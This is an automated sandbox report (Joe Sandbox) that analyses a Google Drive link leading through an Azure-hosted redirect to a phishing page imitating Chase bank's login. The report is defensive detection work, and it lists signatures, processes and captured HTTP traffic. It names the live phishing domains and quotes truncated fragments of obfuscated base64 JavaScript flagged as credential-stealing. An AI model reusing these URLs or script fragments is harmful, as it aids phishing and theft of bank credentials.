Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30

Overview

General Information

Sample URL:	https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30
Analysis ID:	1578639
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

AI detected suspicious Javascript

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML page contains obfuscated script src

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 2060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1972,i,10679990222649613335,13841907294963608767,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eil&ts=67645d30" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

Joe Sandbox AI: Score: 9 Reasons: The brand 'Chase' is a well-known financial institution., The legitimate domain for Chase is 'chase.com'., The provided URL 'online.access.secure001.chase-business.com' contains additional subdomains and hyphens, which are common indicators of phishing., The presence of 'secure001' and 'business' in the URL is suspicious and not typical for Chase's legitimate URLs., Financial institutions like Chase are common targets for phishing attacks, especially with login fields like 'Username' and 'Password'. DOM: 5.9.pages.csv

AI detected suspicious Javascript

Source: 5.64..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://online.access.secure001.chase-business.com... This JavaScript code exhibits several high-risk behaviors that are indicative of a malicious phishing script. The code includes dynamic code execution, data exfiltration, and redirects to potentially malicious domains, all of which are considered high-risk indicators. Additionally, the code attempts to prevent the user from navigating away from the page and appears to be designed to collect sensitive user data, such as login credentials, which is a clear sign of malicious intent. Overall, this script poses a significant security risk and should be treated with the utmost caution.

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

HTTP Parser: Number of links: 0

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://online.access.secure001.chase-business.com/secure/

HTTP Parser: Base64 decoded: function _0x5f48(_0x2c5e02,_0xe19f15){var _0x1b34d0=_0x1b34();return _0x5f48=function(_0x5f482d,_0x502389){_0x5f482d=_0x5f482d-0x143;var _0x72c7d7=_0x1b34d0[_0x5f482d];return _0x72c7d7;},_0x5f48(_0x2c5e02,_0xe19f15);}(function(_0x471b0b,_0x52b3dd){var _0x...

Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4NWY0OChfMHgyYzVlMDIsXzB4ZTE5ZjE1KXt2YXIgXzB4MWIzNGQwPV8weDFiMzQoKTtyZXR1cm4gXzB4NWY0OD1mdW5jdGlvbihfMHg1ZjQ4MmQsXzB4NTAyMzg5KXtfMHg1ZjQ4MmQ9XzB4NWY0ODJkLTB4MTQzO3ZhciBfMHg3MmM3ZDc9XzB4MWIzNGQwW18weDVmNDgyZF
Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,dmFyIF8weDNmZDY5MD1fMHg0Y2VkOyhmdW5jdGlvbihfMHg4ZTVlOTgsXzB4NGFhOTEwKXt2YXIgXzB4MmJjNjY1PV8weDRjZWQsXzB4NDMwNGQ4PV8weDhlNWU5OCgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4MzA1MjJhPS1wYXJzZUludChfMHgyYmM2NjUoMHgzZDcpKS8weDErcGFyc2VJbn
Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,dmFyIF8weDVkM2JjYj1fMHgyZmZlOyhmdW5jdGlvbihfMHgyMzhlYmEsXzB4M2Q4NzJhKXt2YXIgXzB4MTZlNGQ3PV8weDJmZmUsXzB4MzdiMzJjPV8weDIzOGViYSgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4M2YxYmFkPS1wYXJzZUludChfMHgxNmU0ZDcoMHgxMTMpKS8weDErLXBhcnNlSW
Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4OTdjOChfMHgxNTEwOWIsXzB4MjYyNmRlKXtjb25zdCBfMHg1NDdlMDc9XzB4NTQ3ZSgpO3JldHVybiBfMHg5N2M4PWZ1bmN0aW9uKF8weDk3YzhmMSxfMHgyNjU4N2Epe18weDk3YzhmMT1fMHg5N2M4ZjEtMHgxN2M7bGV0IF8weDNhYjRlMj1fMHg1NDdlMDdbXzB4OTdjOG

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

HTTP Parser: <input type="password" .../> found

Source: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30	HTTP Parser: No favicon
Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: No favicon

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=IQ1gRLL0Gn9U37RvXj_iI6Mll7s84_GUu2Yg5JdhWJymhtoc9rJ0-kmYZSzA0qu97gQSIQsKvIV4u2hjHIxvGxuPT1fwADLb8rj1OBG-1UAtfBWmWx-21CSuYyz-U0DVbxXra4ern1xjCDeJBJmGSu7A5qldFIH9qjbZi24y30sJsuCxg-Vg3tABTfWbW3c
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /url?q=https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2&sa=D&source=apps-viewer-frontend&ust=1734740205635330&usg=AOvVaw2_wNFQ9Pr6fAuY3NIrdBAp&hl=en HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /?ref=trush39dh3sc HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://securityunlocking.blob.core.windows.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /secure/ HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://securityunlocking.blob.core.windows.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; ref=trush39dh3sc; referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.access.secure001.chase-business.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://online.access.secure001.chase-business.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7
Source: global traffic	HTTP traffic detected: GET /secure/secure.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7
Source: global traffic	HTTP traffic detected: GET /web/auth/dashboard/dashboard/index/index HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://online.access.secure001.chase-business.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
